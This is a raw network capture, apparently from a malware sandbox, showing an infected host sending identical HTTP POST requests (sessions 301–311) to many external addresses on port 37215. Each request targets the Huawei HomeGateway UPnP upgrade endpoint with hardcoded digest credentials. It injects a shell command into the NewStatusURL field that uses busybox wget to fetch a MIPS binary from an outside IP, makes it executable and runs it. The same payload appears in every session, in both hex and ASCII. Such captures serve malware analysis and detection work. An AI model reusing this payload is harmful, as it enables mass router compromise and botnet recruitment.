6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.13	51868	197.27.124.211	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.235343933 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.13	45428	156.103.207.1	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.236294985 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.13	42124	41.235.244.224	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.237158060 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.13	57242	197.145.93.184	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.238002062 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.13	56428	197.11.239.20	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.238847971 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.13	33930	41.183.245.26	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.239702940 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.13	39526	156.14.175.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.240544081 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.13	49198	156.178.159.128	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.241406918 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.13	45198	41.188.47.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.242237091 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.13	34724	41.231.72.216	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.243236065 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.13	38516	197.161.103.248	37215

Timestamp	Bytes transferred	Direction	Data
